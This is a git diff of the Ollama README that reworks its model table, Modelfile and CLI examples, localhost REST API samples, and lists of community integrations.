+| Phi 4 Mini         | 3.8B       | 2.5GB | `ollama run phi4-mini`           |
+| Mistral            | 7B         | 4.1GB | `ollama run mistral`             |
+| Moondream 2        | 1.4B       | 829MB | `ollama run moondream`           |
+| Neural Chat        | 7B         | 4.1GB | `ollama run neural-chat`         |
+| Starling           | 7B         | 4.1GB | `ollama run starling-lm`         |
+| Code Llama         | 7B         | 3.8GB | `ollama run codellama`           |
+| Llama 2 Uncensored | 7B         | 3.8GB | `ollama run llama2-uncensored`   |
+| LLaVA              | 7B         | 4.5GB | `ollama run llava`               |
+| Granite-3.3         | 8B         | 4.9GB | `ollama run granite3.3`          |
+
+> [!NOTE]
+> You should have at least 8 GB of RAM available to run the 7B models, 16 GB to run the 13B models, and 32 GB to run the 33B models.
+
+## Customize a model
+
+### Import from GGUF
+
+Ollama supports importing GGUF models in the Modelfile:
+
+1. Create a file named `Modelfile`, with a `FROM` instruction with the local filepath to the model you want to import.
+
+   ```
+   FROM ./vicuna-33b.Q4_0.gguf
+   ```
+
+2. Create the model in Ollama
+
+   ```shell
+   ollama create example -f Modelfile
+   ```
+
+3. Run the model
+
+   ```shell
+   ollama run example
+   ```
+
+### Import from Safetensors
+
+See the [guide](https://docs.ollama.com/import) on importing models for more information.
+
+### Customize a prompt
+
+Models from the Ollama library can be customized with a prompt. For example, to customize the `llama3.2` model:
+
+```shell
+ollama pull llama3.2
 ```
 
-Supported integrations include [Claude Code](https://docs.ollama.com/integrations/claude-code), [Codex](https://docs.ollama.com/integrations/codex), [Copilot CLI](https://docs.ollama.com/integrations/copilot-cli), [DeepSeek Harness](https://docs.ollama.com/integrations/deepseek-harness), [Droid](https://docs.ollama.com/integrations/droid), and [OpenCode](https://docs.ollama.com/integrations/opencode).
-
-### AI assistant
-
-Use [OpenClaw](https://docs.ollama.com/integrations/openclaw) to turn Ollama into a personal AI assistant across WhatsApp, Telegram, Slack, Discord, and more:
+Create a `Modelfile`:
 
 ```
-ollama launch openclaw
+FROM llama3.2
+
+# set the temperature to 1 [higher is more creative, lower is more coherent]
+PARAMETER temperature 1
+
+# set the system message
+SYSTEM """
+You are Mario from Super Mario Bros. Answer as Mario, the assistant, only.
+"""
 ```
 
-### Chat with a model
-
-Run and chat with [Gemma 4](https://ollama.com/library/gemma4):
+Next, create and run the model:
 
 ```
-ollama run gemma4
+ollama create mario -f ./Modelfile
+ollama run mario
+>>> hi
+Hello! It's your friend Mario.
 ```
 
-See [ollama.com/library](https://ollama.com/library) for the full list.
+For more information on working with a Modelfile, see the [Modelfile](https://docs.ollama.com/modelfile) documentation.
 
-See the [quickstart guide](https://docs.ollama.com/quickstart) for more details.
+## CLI Reference
+
+### Create a model
+
+`ollama create` is used to create a model from a Modelfile.
+
+```shell
+ollama create mymodel -f ./Modelfile
+```
+
+### Pull a model
+
+```shell
+ollama pull llama3.2
+```
+
+> This command can also be used to update a local model. Only the diff will be pulled.
+
+### Remove a model
+
+```shell
+ollama rm llama3.2
+```
+
+### Copy a model
+
+```shell
+ollama cp llama3.2 my-model
+```
+
+### Multiline input
+
+For multiline input, you can wrap text with `"""`:
+
+```
+>>> """Hello,
+... world!
+... """
+I'm a basic program that prints the famous "Hello, world!" message to the console.
+```
+
+### Multimodal models
+
+```
+ollama run llava "What's in this image? /Users/jmorgan/Desktop/smile.png"
+```
+
+> **Output**: The image features a yellow smiley face, which is likely the central focus of the picture.
+
+### Pass the prompt as an argument
+
+```shell
+ollama run llama3.2 "Summarize this file: $(cat README.md)"
+```
+
+> **Output**: Ollama is a lightweight, extensible framework for building and running language models on the local machine. It provides a simple API for creating, running, and managing models, as well as a library of pre-built models that can be easily used in a variety of applications.
+
+### Show model information
+
+```shell
+ollama show llama3.2
+```
+
+### List models on your computer
+
+```shell
+ollama list
+```
+
+### List which models are currently loaded
+
+```shell
+ollama ps
+```
+
+### Stop a model which is currently running
+
+```shell
+ollama stop llama3.2
+```
+
+### Generate embeddings from the CLI
+
+```shell
+ollama run embeddinggemma "Your text to embed"
+```
+
+You can also pipe text for scripted workflows:
+
+```shell
+echo "Your text to embed" | ollama run embeddinggemma
+```
+
+### Start Ollama
+
+`ollama serve` is used when you want to start ollama without running the desktop application.
+
+## Building
+
+See the [developer guide](https://github.com/ollama/ollama/blob/main/docs/development.md)
+
+### Running local builds
+
+Next, start the server:
+
+```shell
+./ollama serve
+```
+
+Finally, in a separate shell, run a model:
+
+```shell
+./ollama run llama3.2
+```
 
 ## REST API
 
 Ollama has a REST API for running and managing models.
 
-```
-curl http://localhost:11434/api/chat -d '{
-  "model": "gemma4",
-  "messages": [{
-    "role": "user",
-    "content": "Why is the sky blue?"
-  }],
-  "stream": false
+### Generate a response
+
+```shell
+curl http://localhost:11434/api/generate -d '{
+  "model": "llama3.2",
+  "prompt":"Why is the sky blue?"
 }'
 ```
 
-See the [API documentation](https://docs.ollama.com/api) for all endpoints.
+### Chat with a model
 
-### Python
-
-```
-pip install ollama
+```shell
+curl http://localhost:11434/api/chat -d '{
+  "model": "llama3.2",
+  "messages": [
+    { "role": "user", "content": "why is the sky blue?" }
+  ]
+}'
 ```
 
-```python
-from ollama import chat
-
-response = chat(model='gemma4', messages=[
-  {
-    'role': 'user',
-    'content': 'Why is the sky blue?',
-  },
-])
-print(response.message.content)
-```
-
-### JavaScript
-
-```
-npm i ollama
-```
-
-```javascript
-import ollama from "ollama";
-
-const response = await ollama.chat({
-  model: "gemma4",
-  messages: [{ role: "user", content: "Why is the sky blue?" }],
-});
-console.log(response.message.content);
-```
-
-## Supported backends
-
-- [llama.cpp](https://github.com/ggml-org/llama.cpp) project founded by Georgi Gerganov.
-
-## Documentation
-
-- [CLI reference](https://docs.ollama.com/cli)
-- [REST API reference](https://docs.ollama.com/api)
-- [Importing models](https://docs.ollama.com/import)
-- [Modelfile reference](https://docs.ollama.com/modelfile)
-- [Building from source](https://github.com/ollama/ollama/blob/main/docs/development.md)
+See the [API documentation](./docs/api.md) for all endpoints.
 
 ## Community Integrations
 
-> Want to add your project? Open a pull request.
+### Web & Desktop
 
-### Chat Interfaces
+- [Open WebUI](https://github.com/open-webui/open-webui)
+- [SwiftChat (macOS with ReactNative)](https://github.com/aws-samples/swift-chat)
+- [Enchanted (macOS native)](https://github.com/AugustDev/enchanted)
+- [Hollama](https://github.com/fmaclen/hollama)
+- [Lollms WebUI (Single user)](https://github.com/ParisNeo/lollms-webui)
+- [Lollms (Multi users)](https://github.com/ParisNeo/lollms)
+- [LibreChat](https://github.com/danny-avila/LibreChat)
+- [Bionic GPT](https://github.com/bionic-gpt/bionic-gpt)
+- [HTML UI](https://github.com/rtcfirefly/ollama-ui)
+- [AI-UI](https://github.com/bajahaw/ai-ui)
+- [Saddle](https://github.com/jikkuatwork/saddle)
+- [TagSpaces](https://www.tagspaces.org) (A platform for file-based apps, [utilizing Ollama](https://docs.tagspaces.org/ai/) for the generation of tags and descriptions)
+- [Chatbot UI](https://github.com/ivanfioravanti/chatbot-ollama)
+- [Chatbot UI v2](https://github.com/mckaywrigley/chatbot-ui)
+- [Typescript UI](https://github.com/ollama-interface/Ollama-Gui?tab=readme-ov-file)
+- [Minimalistic React UI for Ollama Models](https://github.com/richawo/minimal-llm-ui)
+- [Ollamac](https://github.com/kevinhermawan/Ollamac)
+- [big-AGI](https://github.com/enricoros/big-AGI)
+- [Cheshire Cat assistant framework](https://github.com/cheshire-cat-ai/core)
+- [Amica](https://github.com/semperai/amica)
+- [chatd](https://github.com/BruceMacD/chatd)
+- [Ollama-SwiftUI](https://github.com/kghandour/Ollama-SwiftUI)
+- [Dify.AI](https://github.com/langgenius/dify)
+- [MindMac](https://mindmac.app)
+- [NextJS Web Interface for Ollama](https://github.com/jakobhoeg/nextjs-ollama-llm-ui)
+- [Msty](https://msty.app)
+- [Chatbox](https://github.com/Bin-Huang/Chatbox)
+- [WinForm Ollama Copilot](https://github.com/tgraupmann/WinForm_Ollama_Copilot)
+- [NextChat](https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web) with [Get Started Doc](https://docs.nextchat.dev/models/ollama)
+- [Alpaca WebUI](https://github.com/mmo80/alpaca-webui)
+- [OllamaGUI](https://github.com/enoch1118/ollamaGUI)
+- [OpenAOE](https://github.com/InternLM/OpenAOE)
+- [Odin Runes](https://github.com/leonid20000/OdinRunes)
+- [LLM-X](https://github.com/mrdjohnson/llm-x) (Progressive Web App)
+- [AnythingLLM (Docker + MacOs/Windows/Linux native app)](https://github.com/Mintplex-Labs/anything-llm)
+- [Ollama Basic Chat: Uses HyperDiv Reactive UI](https://github.com/rapidarchitect/ollama_basic_chat)
+- [Ollama-chats RPG](https://github.com/drazdra/ollama-chats)
+- [IntelliBar](https://intellibar.app/) (AI-powered assistant for macOS)
+- [Jirapt](https://github.com/AliAhmedNada/jirapt) (Jira Integration to generate issues, tasks, epics)
+- [ojira](https://github.com/AliAhmedNada/ojira) (Jira chrome plugin to easily generate descriptions for tasks)
+- [QA-Pilot](https://github.com/reid41/QA-Pilot) (Interactive chat tool that can leverage Ollama models for rapid understanding and navigation of GitHub code repositories)
+- [ChatOllama](https://github.com/sugarforever/chat-ollama) (Open Source Chatbot based on Ollama with Knowledge Bases)
+- [CRAG Ollama Chat](https://github.com/Nagi-ovo/CRAG-Ollama-Chat) (Simple Web Search with Corrective RAG)
+- [RAGFlow](https://github.com/infiniflow/ragflow) (Open-source Retrieval-Augmented Generation engine based on deep document understanding)
+- [StreamDeploy](https://github.com/StreamDeploy-DevRel/streamdeploy-llm-app-scaffold) (LLM Application Scaffold)
+- [chat](https://github.com/swuecho/chat) (chat web app for teams)
+- [Lobe Chat](https://github.com/lobehub/lobe-chat) with [Integrating Doc](https://lobehub.com/docs/self-hosting/examples/ollama)
+- [Ollama RAG Chatbot](https://github.com/datvodinh/rag-chatbot.git) (Local Chat with multiple PDFs using Ollama and RAG)
+- [BrainSoup](https://www.nurgo-software.com/products/brainsoup) (Flexible native client with RAG & multi-agent automation)
+- [macai](https://github.com/Renset/macai) (macOS client for Ollama, ChatGPT, and other compatible API back-ends)
+- [RWKV-Runner](https://github.com/josStorer/RWKV-Runner) (RWKV offline LLM deployment tool, also usable as a client for ChatGPT and Ollama)
+- [Ollama Grid Search](https://github.com/dezoito/ollama-grid-search) (app to evaluate and compare models)
+- [Olpaka](https://github.com/Otacon/olpaka) (User-friendly Flutter Web App for Ollama)
+- [Casibase](https://casibase.org) (An open source AI knowledge base and dialogue system combining the latest RAG, SSO, ollama support, and multiple large language models.)
+- [OllamaSpring](https://github.com/CrazyNeil/OllamaSpring) (Ollama Client for macOS)
+- [LLocal.in](https://github.com/kartikm7/llocal) (Easy to use Electron Desktop Client for Ollama)
+- [Shinkai Desktop](https://github.com/dcSpark/shinkai-apps) (Two click install Local AI using Ollama + Files + RAG)
+- [AiLama](https://github.com/zeyoyt/ailama) (A Discord User App that allows you to interact with Ollama anywhere in Discord)
+- [Ollama with Google Mesop](https://github.com/rapidarchitect/ollama_mesop/) (Mesop Chat Client implementation with Ollama)
+- [R2R](https://github.com/SciPhi-AI/R2R) (Open-source RAG engine)
+- [Ollama-Kis](https://github.com/elearningshow/ollama-kis) (A simple easy-to-use GUI with sample custom LLM for Drivers Education)
+- [OpenGPA](https://opengpa.org) (Open-source offline-first Enterprise Agentic Application)
+- [Painting Droid](https://github.com/mateuszmigas/painting-droid) (Painting app with AI integrations)
+- [Kerlig AI](https://www.kerlig.com/) (AI writing assistant for macOS)
+- [AI Studio](https://github.com/MindWorkAI/AI-Studio)
+- [Sidellama](https://github.com/gyopak/sidellama) (browser-based LLM client)
+- [LLMStack](https://github.com/trypromptly/LLMStack) (No-code multi-agent framework to build LLM agents and workflows)
+- [BoltAI for Mac](https://boltai.com) (AI Chat Client for Mac)
+- [Harbor](https://github.com/av/harbor) (Containerized LLM Toolkit with Ollama as default backend)
+- [PyGPT](https://github.com/szczyglis-dev/py-gpt) (AI desktop assistant for Linux, Windows, and Mac)
+- [Alpaca](https://github.com/Jeffser/Alpaca) (An Ollama client application for Linux and macOS made with GTK4 and Adwaita)
+- [AutoGPT](https://github.com/Significant-Gravitas/AutoGPT/blob/master/docs/content/platform/ollama.md) (AutoGPT Ollama integration)
+- [Go-CREW](https://www.jonathanhecl.com/go-crew/) (Powerful Offline RAG in Golang)
+- [PartCAD](https://github.com/openvmp/partcad/) (CAD model generation with OpenSCAD and CadQuery)
+- [Ollama4j Web UI](https://github.com/ollama4j/ollama4j-web-ui) - Java-based Web UI for Ollama built with Vaadin, Spring Boot, and Ollama4j
+- [PyOllaMx](https://github.com/kspviswa/pyOllaMx) - macOS application capable of chatting with both Ollama and Apple MLX models.
+- [Cline](https://github.com/cline/cline) - Formerly known as Claude Dev is a VS Code extension for multi-file/whole-repo coding
+- [Void](https://github.com/voideditor/void) (Open source AI code editor and Cursor alternative)
+- [Cherry Studio](https://github.com/kangfenmao/cherry-studio) (Desktop client with Ollama support)
+- [ConfiChat](https://github.com/1runeberg/confichat) (Lightweight, standalone, multi-platform, and privacy-focused LLM chat interface with optional encryption)
+- [Archyve](https://github.com/nickthecook/archyve) (RAG-enabling document library)
+- [crewAI with Mesop](https://github.com/rapidarchitect/ollama-crew-mesop) (Mesop Web Interface to run crewAI with Ollama)
+- [Tkinter-based client](https://github.com/chyok/ollama-gui) (Python tkinter-based Client for Ollama)
+- [LLMChat](https://github.com/trendy-design/llmchat) (Privacy focused, 100% local, intuitive all-in-one chat interface)
+- [Local Multimodal AI Chat](https://github.com/Leon-Sander/Local-Multimodal-AI-Chat) (Ollama-based LLM Chat with support for multiple features, including PDF RAG, voice chat, image-based interactions, and integration with OpenAI.)
+- [ARGO](https://github.com/xark-argo/argo) (Locally download and run Ollama and Huggingface models with RAG and deep research on Mac/Windows/Linux)
+- [OrionChat](https://github.com/EliasPereirah/OrionChat) - OrionChat is a web interface for chatting with different AI providers
+- [G1](https://github.com/bklieger-groq/g1) (Prototype of using prompting strategies to improve the LLM's reasoning through o1-like reasoning chains.)
+- [Web management](https://github.com/lemonit-eric-mao/ollama-web-management) (Web management page)
+- [Promptery](https://github.com/promptery/promptery) (desktop client for Ollama.)
+- [Ollama App](https://github.com/JHubi1/ollama-app) (Modern and easy-to-use multi-platform client for Ollama)
+- [chat-ollama](https://github.com/annilq/chat-ollama) (a React Native client for Ollama)
+- [SpaceLlama](https://github.com/tcsenpai/spacellama) (Firefox and Chrome extension to quickly summarize web pages with ollama in a sidebar)
+- [YouLama](https://github.com/tcsenpai/youlama) (Webapp to quickly summarize any YouTube video, supporting Invidious as well)
+- [DualMind](https://github.com/tcsenpai/dualmind) (Experimental app allowing two models to talk to each other in the terminal or in a web interface)
+- [ollamarama-matrix](https://github.com/h1ddenpr0cess20/ollamarama-matrix) (Ollama chatbot for the Matrix chat protocol)
+- [ollama-chat-app](https://github.com/anan1213095357/ollama-chat-app) (Flutter-based chat app)
+- [Perfect Memory AI](https://www.perfectmemory.ai/) (Productivity AI assists personalized by what you have seen on your screen, heard, and said in the meetings)
+- [Hexabot](https://github.com/hexastack/hexabot) (A conversational AI builder)
+- [Reddit Rate](https://github.com/rapidarchitect/reddit_analyzer) (Search and Rate Reddit topics with a weighted summation)
+- [OpenTalkGpt](https://github.com/adarshM84/OpenTalkGpt) (Chrome Extension to manage open-source models supported by Ollama, create custom models, and chat with models from a user-friendly UI)
+- [VT](https://github.com/vinhnx/vt.ai) (A minimal multimodal AI chat app, with dynamic conversation routing. Supports local models via Ollama)
+- [Nosia](https://github.com/nosia-ai/nosia) (Easy to install and use RAG platform based on Ollama)
+- [Witsy](https://github.com/nbonamy/witsy) (An AI Desktop application available for Mac/Windows/Linux)
+- [Abbey](https://github.com/US-Artificial-Intelligence/abbey) (A configurable AI interface server with notebooks, document storage, and YouTube support)
+- [Minima](https://github.com/dmayboroda/minima) (RAG with on-premises or fully local workflow)
+- [aidful-ollama-model-delete](https://github.com/AidfulAI/aidful-ollama-model-delete) (User interface for simplified model cleanup)
+- [Perplexica](https://github.com/ItzCrazyKns/Perplexica) (An AI-powered search engine & an open-source alternative to Perplexity AI)
+- [Ollama Chat WebUI for Docker ](https://github.com/oslook/ollama-webui) (Support for local docker deployment, lightweight ollama webui)
+- [AI Toolkit for Visual Studio Code](https://aka.ms/ai-tooklit/ollama-docs) (Microsoft-official VS Code extension to chat, test, evaluate models with Ollama support, and use them in your AI applications.)
+- [MinimalNextOllamaChat](https://github.com/anilkay/MinimalNextOllamaChat) (Minimal Web UI for Chat and Model Control)
+- [Chipper](https://github.com/TilmanGriesel/chipper) AI interface for tinkerers (Ollama, Haystack RAG, Python)
+- [ChibiChat](https://github.com/CosmicEventHorizon/ChibiChat) (Kotlin-based Android app to chat with Ollama and Koboldcpp API endpoints)
+- [LocalLLM](https://github.com/qusaismael/localllm) (Minimal Web-App to run ollama models on it with a GUI)
+- [Ollamazing](https://github.com/buiducnhat/ollamazing) (Web extension to run Ollama models)
+- [OpenDeepResearcher-via-searxng](https://github.com/benhaotang/OpenDeepResearcher-via-searxng) (A Deep Research equivalent endpoint with Ollama support for running locally)
+- [AntSK](https://github.com/AIDotNet/AntSK) (Out-of-the-box & Adaptable RAG Chatbot)
+- [MaxKB](https://github.com/1Panel-dev/MaxKB/) (Ready-to-use & flexible RAG Chatbot)
+- [yla](https://github.com/danielekp/yla) (Web interface to freely interact with your customized models)
+- [LangBot](https://github.com/RockChinQ/LangBot) (LLM-based instant messaging bots platform, with Agents, RAG features, supports multiple platforms)
+- [1Panel](https://github.com/1Panel-dev/1Panel/) (Web-based Linux Server Management Tool)
+- [AstrBot](https://github.com/Soulter/AstrBot/) (User-friendly LLM-based multi-platform chatbot with a WebUI, supporting RAG, LLM agents, and plugins integration)
+- [Reins](https://github.com/ibrahimcetin/reins) (Easily tweak parameters, customize system prompts per chat, and enhance your AI experiments with reasoning model support.)
+- [Flufy](https://github.com/Aharon-Bensadoun/Flufy) (A beautiful chat interface for interacting with Ollama's API. Built with React, TypeScript, and Material-UI.)
+- [Ellama](https://github.com/zeozeozeo/ellama) (Friendly native app to chat with an Ollama instance)
+- [screenpipe](https://github.com/mediar-ai/screenpipe) Build agents powered by your screen history
+- [Ollamb](https://github.com/hengkysteen/ollamb) (Simple yet rich in features, cross-platform built with Flutter and designed for Ollama. Try the [web demo](https://hengkysteen.github.io/demo/ollamb/).)
+- [Writeopia](https://github.com/Writeopia/Writeopia) (Text editor with integration with Ollama)
+- [AppFlowy](https://github.com/AppFlowy-IO/AppFlowy) (AI collaborative workspace with Ollama, cross-platform and self-hostable)
+- [Lumina](https://github.com/cushydigit/lumina.git) (A lightweight, minimal React.js frontend for interacting with Ollama servers)
+- [Tiny Notepad](https://pypi.org/project/tiny-notepad) (A lightweight, notepad-like interface to chat with ollama available on PyPI)
+- [macLlama (macOS native)](https://github.com/hellotunamayo/macLlama) (A native macOS GUI application for interacting with Ollama models, featuring a chat interface.) 
+- [GPTranslate](https://github.com/philberndt/GPTranslate) (A fast and lightweight, AI powered desktop translation application written with Rust and Tauri. Features real-time translation with OpenAI/Azure/Ollama.)
+- [ollama launcher](https://github.com/NGC13009/ollama-launcher) (A launcher for Ollama, aiming to provide users with convenient functions such as ollama server launching, management, or configuration.)
+- [ai-hub](https://github.com/Aj-Seven/ai-hub) (AI Hub supports multiple models via API keys and Chat support via Ollama API.)
+- [Mayan EDMS](https://gitlab.com/mayan-edms/mayan-edms) (Open source document management system to organize, tag, search, and automate your files with powerful Ollama driven workflows.)
+- [Serene Pub](https://github.com/doolijb/serene-pub) (Beginner friendly, open source AI Roleplaying App for Windows, Mac OS and Linux. Search, download and use models with Ollama all inside the app.)
+- [Andes](https://github.com/aqerd/andes) (A Visual Studio Code extension that provides a local UI interface for Ollama models)
+- [KDeps](https://github.com/kdeps/kdeps) (Kdeps is an offline-first AI framework for building Dockerized full-stack AI applications declaratively using Apple PKL and integrates APIs with Ollama on the backend.)
+- [Clueless](https://github.com/KashyapTan/clueless) (Open Source & Local Cluely: A desktop application LLM assistant to help you talk to anything on your screen using locally served Ollama models. Also undetectable to screenshare)
+- [ollama-co2](https://github.com/carbonatedWaterOrg/ollama-co2) (FastAPI web interface for monitoring and managing local and remote Ollama servers with real-time model monitoring and concurrent downloads)
+- [Hillnote](https://hillnote.com) (A Markdown-first workspace designed to supercharge your AI workflow. Create documents ready to integrate with Claude, ChatGPT, Gemini, Cursor, and more - all while keeping your work on your device.)
 
-#### Web
-
-- [Open WebUI](https://github.com/open-webui/open-webui) - Extensible, self-hosted AI interface
-- [Onyx](https://github.com/onyx-dot-app/onyx) - Connected AI workspace
-- [LibreChat](https://github.com/danny-avila/LibreChat) - Enhanced ChatGPT clone with multi-provider support
-- [Lobe Chat](https://github.com/lobehub/lobe-chat) - Modern chat framework with plugin ecosystem ([docs](https://lobehub.com/docs/self-hosting/examples/ollama))
-- [NextChat](https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web) - Cross-platform ChatGPT UI ([docs](https://docs.nextchat.dev/models/ollama))
-- [Perplexica](https://github.com/ItzCrazyKns/Perplexica) - AI-powered search engine, open-source Perplexity alternative
-- [big-AGI](https://github.com/enricoros/big-AGI) - AI suite for professionals
-- [Lollms WebUI](https://github.com/ParisNeo/lollms-webui) - Multi-model web interface
-- [ChatOllama](https://github.com/sugarforever/chat-ollama) - Chatbot with knowledge bases
-- [Bionic GPT](https://github.com/bionic-gpt/bionic-gpt) - On-premise AI platform
-- [Chatbot UI](https://github.com/ivanfioravanti/chatbot-ollama) - ChatGPT-style web interface
-- [Hollama](https://github.com/fmaclen/hollama) - Minimal web interface
-- [Chatbox](https://github.com/Bin-Huang/Chatbox) - Desktop and web AI client
-- [chat](https://github.com/swuecho/chat) - Chat web app for teams
-- [Ollama RAG Chatbot](https://github.com/datvodinh/rag-chatbot.git) - Chat with multiple PDFs using RAG
-- [Tkinter-based client](https://github.com/chyok/ollama-gui) - Python desktop client
-
-#### Desktop
-
-- [Dify.AI](https://github.com/langgenius/dify) - LLM app development platform
-- [AnythingLLM](https://github.com/Mintplex-Labs/anything-llm) - All-in-one AI app for Mac, Windows, and Linux
-- [Maid](https://github.com/Mobile-Artificial-Intelligence/maid) - Cross-platform mobile and desktop client
-- [Witsy](https://github.com/nbonamy/witsy) - AI desktop app for Mac, Windows, and Linux
-- [Cherry Studio](https://github.com/kangfenmao/cherry-studio) - Multi-provider desktop client
-- [Ollama App](https://github.com/JHubi1/ollama-app) - Multi-platform client for desktop and mobile
-- [PyGPT](https://github.com/szczyglis-dev/py-gpt) - AI desktop assistant for Linux, Windows, and Mac
-- [Alpaca](https://github.com/Jeffser/Alpaca) - GTK4 client for Linux and macOS
-- [SwiftChat](https://github.com/aws-samples/swift-chat) - Cross-platform including iOS, Android, and Apple Vision Pro
-- [Enchanted](https://github.com/AugustDev/enchanted) - Native macOS and iOS client
-- [RWKV-Runner](https://github.com/josStorer/RWKV-Runner) - Multi-model desktop runner
-- [Ollama Grid Search](https://github.com/dezoito/ollama-grid-search) - Evaluate and compare models
-- [macai](https://github.com/Renset/macai) - macOS client for Ollama and ChatGPT
-- [AI Studio](https://github.com/MindWorkAI/AI-Studio) - Multi-provider desktop IDE
-- [Reins](https://github.com/ibrahimcetin/reins) - Parameter tuning and reasoning model support
-- [ConfiChat](https://github.com/1runeberg/confichat) - Privacy-focused with optional encryption
-- [LLocal.in](https://github.com/kartikm7/llocal) - Electron desktop client
-- [MindMac](https://mindmac.app) - AI chat client for Mac
-- [Msty](https://msty.app) - Multi-model desktop client
-- [BoltAI for Mac](https://boltai.com) - AI chat client for Mac
-- [IntelliBar](https://intellibar.app/) - AI-powered assistant for macOS
-- [Kerlig AI](https://www.kerlig.com/) - AI writing assistant for macOS
-- [Hillnote](https://hillnote.com) - Markdown-first AI workspace
-- [Perfect Memory AI](https://www.perfectmemory.ai/) - Productivity AI personalized by screen and meeting history
-
-#### Mobile
-
-- [Ollama Android Chat](https://github.com/sunshine0523/OllamaServer) - One-click Ollama on Android
-
-> SwiftChat, Enchanted, Maid, Ollama App, Reins, and ConfiChat listed above also support mobile platforms.
-
-### Code Editors & Development
-
-- [Cline](https://github.com/cline/cline) - VS Code extension for multi-file/whole-repo coding
-- [Continue](https://github.com/continuedev/continue) - Open-source AI code assistant for any IDE
-- [Void](https://github.com/voideditor/void) - Open source AI code editor, Cursor alternative
-- [Copilot for Obsidian](https://github.com/logancyang/obsidian-copilot) - AI assistant for Obsidian
-- [twinny](https://github.com/rjmacarthy/twinny) - Copilot and Copilot chat alternative
-- [gptel Emacs client](https://github.com/karthink/gptel) - LLM client for Emacs
-- [Ollama Copilot](https://github.com/bernardo-bruning/ollama-copilot) - Use Ollama as GitHub Copilot
-- [Obsidian Local GPT](https://github.com/pfrankov/obsidian-local-gpt) - Local AI for Obsidian
-- [Ellama Emacs client](https://github.com/s-kostyaev/ellama) - LLM tool for Emacs
-- [orbiton](https://github.com/xyproto/orbiton) - Config-free text editor with Ollama tab completion
-- [AI ST Completion](https://github.com/yaroslavyaroslav/OpenAI-sublime-text) - Sublime Text 4 AI assistant
-- [VT Code](https://github.com/vinhnx/vtcode) - Rust-based terminal coding agent with Tree-sitter
-- [QodeAssist](https://github.com/Palm1r/QodeAssist) - AI coding assistant for Qt Creator
-- [AI Toolkit for VS Code](https://aka.ms/ai-tooklit/ollama-docs) - Microsoft-official VS Code extension
-- [Open Interpreter](https://docs.openinterpreter.com/language-model-setup/local-models/ollama) - Natural language interface for computers
-
-### Libraries & SDKs
-
-- [LiteLLM](https://github.com/BerriAI/litellm) - Unified API for 100+ LLM providers
-- [Semantic Kernel](https://github.com/microsoft/semantic-kernel/tree/main/python/semantic_kernel/connectors/ai/ollama) - Microsoft AI orchestration SDK
-- [LangChain4j](https://github.com/langchain4j/langchain4j) - Java LangChain ([example](https://github.com/langchain4j/langchain4j-examples/tree/main/ollama-examples/src/main/java))
-- [LangChainGo](https://github.com/tmc/langchaingo/) - Go LangChain ([example](https://github.com/tmc/langchaingo/tree/main/examples/ollama-completion-example))
-- [Spring AI](https://github.com/spring-projects/spring-ai) - Spring framework AI support ([docs](https://docs.spring.io/spring-ai/reference/api/chat/ollama-chat.html))
-- [LangChain](https://python.langchain.com/docs/integrations/chat/ollama/) and [LangChain.js](https://js.langchain.com/docs/integrations/chat/ollama/) with [example](https://js.langchain.com/docs/tutorials/local_rag/)
-- [Ollama for Ruby](https://github.com/crmne/ruby_llm) - Ruby LLM library
-- [any-llm](https://github.com/mozilla-ai/any-llm) - Unified LLM interface by Mozilla
-- [OllamaSharp for .NET](https://github.com/awaescher/OllamaSharp) - .NET SDK
-- [LangChainRust](https://github.com/Abraxas-365/langchain-rust) - Rust LangChain ([example](https://github.com/Abraxas-365/langchain-rust/blob/main/examples/llm_ollama.rs))
-- [Agents-Flex for Java](https://github.com/agents-flex/agents-flex) - Java agent framework ([example](https://github.com/agents-flex/agents-flex/tree/main/agents-flex-llm/agents-flex-llm-ollama/src/test/java/com/agentsflex/llm/ollama))
-- [Elixir LangChain](https://github.com/brainlid/langchain) - Elixir LangChain
-- [Ollama-rs for Rust](https://github.com/pepperoni21/ollama-rs) - Rust SDK
-- [LangChain for .NET](https://github.com/tryAGI/LangChain) - .NET LangChain ([example](https://github.com/tryAGI/LangChain/blob/main/examples/LangChain.Samples.OpenAI/Program.cs))
-- [chromem-go](https://github.com/philippgille/chromem-go) - Go vector database with Ollama embeddings ([example](https://github.com/philippgille/chromem-go/tree/v0.5.0/examples/rag-wikipedia-ollama))
-- [LangChainDart](https://github.com/davidmigloz/langchain_dart) - Dart LangChain
-- [LlmTornado](https://github.com/lofcz/llmtornado) - Unified C# interface for multiple inference APIs
-- [Ollama4j for Java](https://github.com/ollama4j/ollama4j) - Java SDK
-- [Ollama for Laravel](https://github.com/cloudstudio/ollama-laravel) - Laravel integration
-- [Ollama for Swift](https://github.com/mattt/ollama-swift) - Swift SDK
-- [LlamaIndex](https://docs.llamaindex.ai/en/stable/examples/llm/ollama/) and [LlamaIndexTS](https://ts.llamaindex.ai/modules/llms/available_llms/ollama) - Data framework for LLM apps
-- [Haystack](https://github.com/deepset-ai/haystack-integrations/blob/main/integrations/ollama.md) - AI pipeline framework
-- [Firebase Genkit](https://firebase.google.com/docs/genkit/plugins/ollama) - Google AI framework
-- [Ollama-hpp for C++](https://github.com/jmont-dev/ollama-hpp) - C++ SDK
-- [PromptingTools.jl](https://github.com/svilupp/PromptingTools.jl) - Julia LLM toolkit ([example](https://svilupp.github.io/PromptingTools.jl/dev/examples/working_with_ollama))
-- [Ollama for R - rollama](https://github.com/JBGruber/rollama) - R SDK
-- [Portkey](https://portkey.ai/docs/welcome/integration-guides/ollama) - AI gateway
-- [Testcontainers](https://testcontainers.com/modules/ollama/) - Container-based testing
-- [LLPhant](https://github.com/theodo-group/LLPhant?tab=readme-ov-file#ollama) - PHP AI framework
-
-### Frameworks & Agents
-
-- [AutoGPT](https://github.com/Significant-Gravitas/AutoGPT/blob/master/docs/content/platform/ollama.md) - Autonomous AI agent platform
-- [crewAI](https://github.com/crewAIInc/crewAI) - Multi-agent orchestration framework
-- [Strands Agents](https://github.com/strands-agents/sdk-python) - Model-driven agent building by AWS
-- [Cheshire Cat](https://github.com/cheshire-cat-ai/core) - AI assistant framework
-- [any-agent](https://github.com/mozilla-ai/any-agent) - Unified agent framework interface by Mozilla
-- [Stakpak](https://github.com/stakpak/agent) - Open source DevOps agent
-- [Hexabot](https://github.com/hexastack/hexabot) - Conversational AI builder
-- [Neuro SAN](https://github.com/cognizant-ai-lab/neuro-san-studio) - Multi-agent orchestration ([docs](https://github.com/cognizant-ai-lab/neuro-san-studio/blob/main/docs/user_guide.md#ollama))
-
-### RAG & Knowledge Bases
-
